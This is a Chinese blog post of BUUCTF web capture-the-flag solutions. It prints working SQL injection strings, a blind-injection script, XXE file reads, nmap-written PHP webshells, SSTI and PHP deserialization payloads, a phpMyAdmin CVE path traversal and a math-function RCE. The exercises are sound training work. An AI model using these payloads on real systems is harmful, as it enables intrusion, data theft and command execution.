BUUCTF Practice

BUUOJ刷题

[极客大挑战 2019]HardSQL 1

MariaDB,waf很顶,空格被过滤,会返回报错信息,报错函数没被过滤,故用报错函数

可以用updatexml或者extractvalue

1
2
3
4
5
6
7
8
9
10
爆库名 //geek
1'or(updatexml(0,concat(0x5e,database()),0))#
爆表名 '='可以用like代替,'='被waf了 //H4rDsq1
1'or(updatexml(0,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0))#
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e)))#
爆列名 //id,username,password
1'or(updatexml(0,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0))#
爆列值,报错只回显32位,可以用截断函数right(),或者regexp脚本爆破
1'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))#
1'or(updatexml(0,concat(0x5e,right((select(group_concat(password))from(H4rDsq1)),31)),0))#

[GYCTF2020]Blacklist 1

Mysql,有waf如下

1
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

发现可以堆叠注入

1
2
1';show databases;--+
1';show tables;--+ //FlagHere

尝试无果,sqlmap跑不动,遂查

有handler语法,mysql专用的语句

1
2
3
handler FlagHere open
handler FlagHere read first
handler FlagHere close

所以用1’闭合单引号后接堆叠handler语句即可

[RoarCTF 2019]Easy Java 1

java不会,故搜

提到了WEB-INF/目录下的文件泄露,包含以下文件或目录

1
2
3
4
5
/WEB-INF/web.xml: WEB应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则
/WEB-INF/classes/: 含站点所有用的class文件,包括servlet class和非servlet class,他们不包含在jar中
/WEB-INF/lib/: 存放web应用需要的各种jar文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/: 源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties: 数据库配置文件

好像提到了servlet访问URL映射配置,这块我还不是很清楚

1
2
3
4
5
6
7
8
9
由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用<servlet>元素和<servlet-mapping>元素完成。<servlet>元素用于注册Servlet,它包含有两个主要的子元素:<servlet-name><servlet-class>,分别用于设置Servlet的注册名称和Servlet的完整类名。一个<servlet-mapping>元素用于映射一个已注册的Servlet的一个对外访问路径,它包含有两个子元素:<servlet-name><url-pattern>,分别用于指定Servlet的注册名称和Servlet的对外访问路径。例如:
<servlet>
<servlet-name>ServletDemo1</servlet-name>
<servlet-class>cn.itcast.ServletDemo1</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletDemo1</servlet-name>
<url-pattern>/ServletDemo1</url-pattern>
</servlet-mapping>

servlet原来是java web开发框架的重要基础,处理服务端使用的一个java接口,被Tomcat广泛使用(但是我也不知道Tomcat),好像仅仅只作为一个统一的web应用规范来使用

Tomcat是一个java web应用服务器,隶属于Apache,更深的便没细看,感觉就是启动服务用的engine之类的

[网鼎杯 2018]Fakebook 1

这题我一开始以为是xss,后来以为是sql注入,再后来以为就扫目录php审计,结果到最后还是sql注入

1
2
?no=-1 union/**/select 1,database(),3,4
?no=-1 union/**/select 1,user(),3,4 //root

那么可以联合注入的话,又是root权限,直接用load_file()绝对路径加载flag.php

1
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

但这是个非预期解,预期解是要扫目录扫出robots.txt,然后备份了一份user.php.bak,是一个user类

其中存放的就是注册的信息,但是对blog的waf很猛,所以基本没法从(序列化之前)一般的途径入手

但是我们通过sql注入可以得到当前的表的四个字段分别是no,username,age,blog

所以只需要在4这个位置放一个序列化之后的数据,比如file://伪协议读取,就能成功运行读到了

[BUUCTF 2018]Online Tool 1

提到了escapeshellarg和escapeshellcmd,倒是新东西,可以找找绕过的方法

escapeshellarg先对传入进来的参数中如果有单引号,那么进行转义,再用单引号将左右两部分括起来从而连接

escapeshellcmd会对传入的参数中所有危险字符前面加上反斜线(\),反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A\xFF'" 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^

1
2
3
params: jednersaous' -xd -sec a=1
escapeshellarg(params): 'jednersaous'\'' -xd -sec a=1'
escapeshellcmd(params): 'jednersaous'\\'' -xd -sec a=1\'

从上述示例可得,\\被解释为\而不再是用于转义字符,所以紧接着的'没有被转义,在和后面的单引号配对构成了一个空白的连接符,即变成如下形式

1
$command jednersaous\ -xd -sec a=1

那么对于此题应该如何去做呢?毕竟这个也不算是强RCE,此题的nmap前提则不是空设而是关键

nmap命令中有一个参数-oG可以将命令和结果写到文件中,因此我们就要构造一个payload让nmap可以正确运行,并且用-oG去把这个命令保存为一个在web目录下的php文件

不知道为什么我在phpstorm里复现有点问题,难不成是单双引号又双叒哪里冲突了???

1
?host=' <?php echo @system($_GET["hack"]);?> -oG hack.php '

但是环境里倒是可以跑,太恶心了

[GXYCTF2019]禁止套娃

要用githack来拿到备份文件,.git显示403Forbidden

关键是下面这个正则的绕过,前面和后面的正则感觉完全可以不考虑

1
';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

对于这个正则式只能使用形如a(b(c()));a()这样无参数的表达式,即参数可以是void的函数,下面列出几个吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
getenv()	//获取当前环境变量
localeconv() //
get_defined_vars() //返回有所有已定义变量所组成的数组
array_rand() //从数组中随机取出一个或多个单元
array_reverse() //返回单元顺序相反的数组
array_flip() //交换数组中的键和值
current() || pos() //返回数组中的当前单元
getallheaders() //获取信息头
session_id() //获取/设置当前会话ID
highlight_file() //高亮一个文件
show_source() //同highlight_file
getcwd() //获取当前工作目录
scandir() //列出指定路径中的文件和目录
dirname() //返回路径中的目录部分

var_dump() //dump出值
print_r() //打印出值

next() //数组的下一个值
end() //数组的最后一个值

可以构造payload如下

1
2
3
#1 var_dump(localeconv());
#2 var_dump(scandir(pos(localeconv())));
#3 highlight_file(next(array_reverse(scandir(pos(localeconv())))));

[NCTF2019]Fake XML cookbook

登录页面传输数据是xml,黑盒,XXE,没做任何限制

抓包改xml,随便网上找一个file://读文件的就行,注意换行符空格符就可,burp一直是喜欢帮你改格式的

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user>
<username>
&xxe;
</username>
</user>

[GWCTF 2019]我有一个数据库

nm又要扫,天天不整点扫描的东西都不能入门ctf是吧

有目录phpinfo.php(),phpmyadmin/index.php,版本号MySQL_5.5.62,php_7.2.24,phpmyadmin4.8.1

CVE-2018-12613,index.php中存在文件包含漏洞,payload如下

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../flag

%253f是?的URL二次编码

[BJDCTF2020]Mark loves cat

又是扫目录

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){  //传入的变量为flag value不是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

$$x = $($x)

1
2
3
#1 $x === 'flag' \$_GET['flag'] !== $x
#2 flag用GET和POST都要传
#3 \$_POST['flag'] !== 'flag' && \$_GET['flag'] !== 'flag'

exp

exit(int $status),如果status是一个字符串,在退出之前会打印status

1
?yds=flag 直接exit($yds) => exit($flag)

首先要知道php有哪些常用的模板,一般是Twig,smarty

但是jinja2和mako好像也有php重写

这里用{{7*'7'}}可以判断是Twig模板

直接打SSTI公式化如下

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("命令")}}

[安洵杯 2019]easy_web

黑盒,先通过img参数逆推出是进行了一次16进制编码和两次base64编码,于是要先拿index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

后面的waf直接用反斜杠插入shell命令就可以了,虽然好像匹配了转义之后的反斜杠,但好像没用(?等我复现下

然后就是md5的强碰撞,因为用string强制类型转化了,所以不能用数组绕过,这里给出搜索之后得到的一个碰撞

1
2
3
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2	//a

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 //b

cmd=ca\t%20/f\l\a\g,试了一下反斜杠,确实是匹配不到(奇怪

[MRCTF2020]Ezpop

1
2
3
class Show __wakeup(): preg_match...  =>  $this->source = class Show() __toString() 
class Show __toString(): $this->str->source => $this->str = class Test __get($key)
class Test __get(): $function() => $this->p = class Modifier __invoke()
1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

[网鼎杯 2020 朱雀组]Nmap

查漏补缺一下XXE

XXE:XML External Entity 即XML外部实体注入攻击。是由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体,通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地的文件内容,导致了XXE漏洞。漏洞形成的标志性函数:例如PHP中的simplexml_load_string或者simplexml_load_file,默认情况下都会解析外部实体。

不得不了解的是DTD

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

1
<!DOCTYPE 根元素 [元素声明]>

本题有simplexml_load_string,但是如果直接访问result?f=<xml>…是不行的,一开始扫的输入疑似也有waf

绕waf倒是简单,估计就是访问了之后转换成xml然后显示(?,个人认为是打一个xxe

得,看题解结果还真是nmap命令,nmap $Input -oX ./xml/random,那直接给input带参数传马就行了

1
<?= @eval($_GET[1]);?> -oG a.phtml

不行?!结果是还用了escapeshellarg()和escapeshellcmd(),不是哥们,你这黑盒谁看得出来???

1
' <?= @eval($_GET[1]);?> -oG a.phtml '

[NPUCTF2020]ReadlezPHP

此题本以为是一道再简单不过的php反序列化,结果正常打不通,那应该想到disable_functions了

倒是有意思,能知道很多exploitable functions,像是这题就可以用assert,此题ban掉的函数如下

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir

基本都是写读文件或者执行系统命令的函数或者定时任务,这个pcntl占了一大坨,我不禁想这到底是手动加的还是默认就ban的??后来我找到了pcntl被禁用的原因是防止它对web服务的稳定性造成影响,即便它可能不能执行什么系统命令

[CISCN2019 华东南赛区]Web11

EZ的SSTI,php的smarty

PHP_smarty

1
2
{$smarty.version}
{system('ls')} // compatible v3

[SWPU2019]Web1

本来以为是XSS,admin懒得爆破了就去搜题解,结果是sql注入,不过还是蛮有意思的,对关键词有waf

只能说mysql的方言好多啊,大概过滤了这么些

1
2
3
4
5
6
7
8
9
10
11
空格被替换为空
or
and
join
--+
#
updatexml
extractvalue
exp
floor
...

尝试联合查询,先判断有多少字段,order by不能使用,可以用group by

1
title='group/**/by/**/23,'&content=123&ac=add

发现有22个字段的样子,直接联合查询,回显在2和3

1
title='union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=123&ac=add

得到数据库名web1

因为过滤了or,所以也不能用information_schema表,但是可以用mysql.innodb_tables_stats,用group_concat拼接所有表名,一次性看

1
title='union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=123&ac=add

没有字段信息可以查,使用无列名注入直接查内容(原话搬自别人的wp

1
title='union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=123&ac=add

无列名注入

[极客大挑战 2019]FinalSQL

唉盲注,唉脚本,唉fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url1="http://ac3ceffb-5fec-49c1-9028-86b4555f01be.node5.buuoj.cn:81/search.php?id=1^(ord(substr((select(group_concat(password))from(`F1naI1y`)),"
url2=",1))="
name=""

for i in range(150,225):
for j in range(20,125):
target = url1 + str(i) + url2 + str(j) + ")"
s = requests.get(target).text
if "ERROR" in s:
name = name + chr(j)
print(name)
break

[CISCN 2019 初赛]Love Math

经典ciscn出的php晦涩rce,只能说和2024的有异曲同工之妙,只不过2024的Simple_php着实是揣着答辩装糊涂

这题最关键的就是用数学函数能搞出一个rce的式子,那说到字母和数字rce肯定逃不过的就是hex2bin,所以我们首先要构造一个hex2bin出来,注意到很有意思的一个函数是base_convert(),那么很显然我们可以用数字转成36进制(要有26个英文字母比较好整)中的hex2bin

有了hex2bin,其实可以干的事情就很多了,比如造system,但是这里好像编码有点问题,所以可以用_GET打一个webshell

1
2
3
4
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag


BUUCTF Practice
http://example.com/2024/03/01/BUUOJ刷题/
作者
Jednersaous
发布于
2024年3月1日
许可协议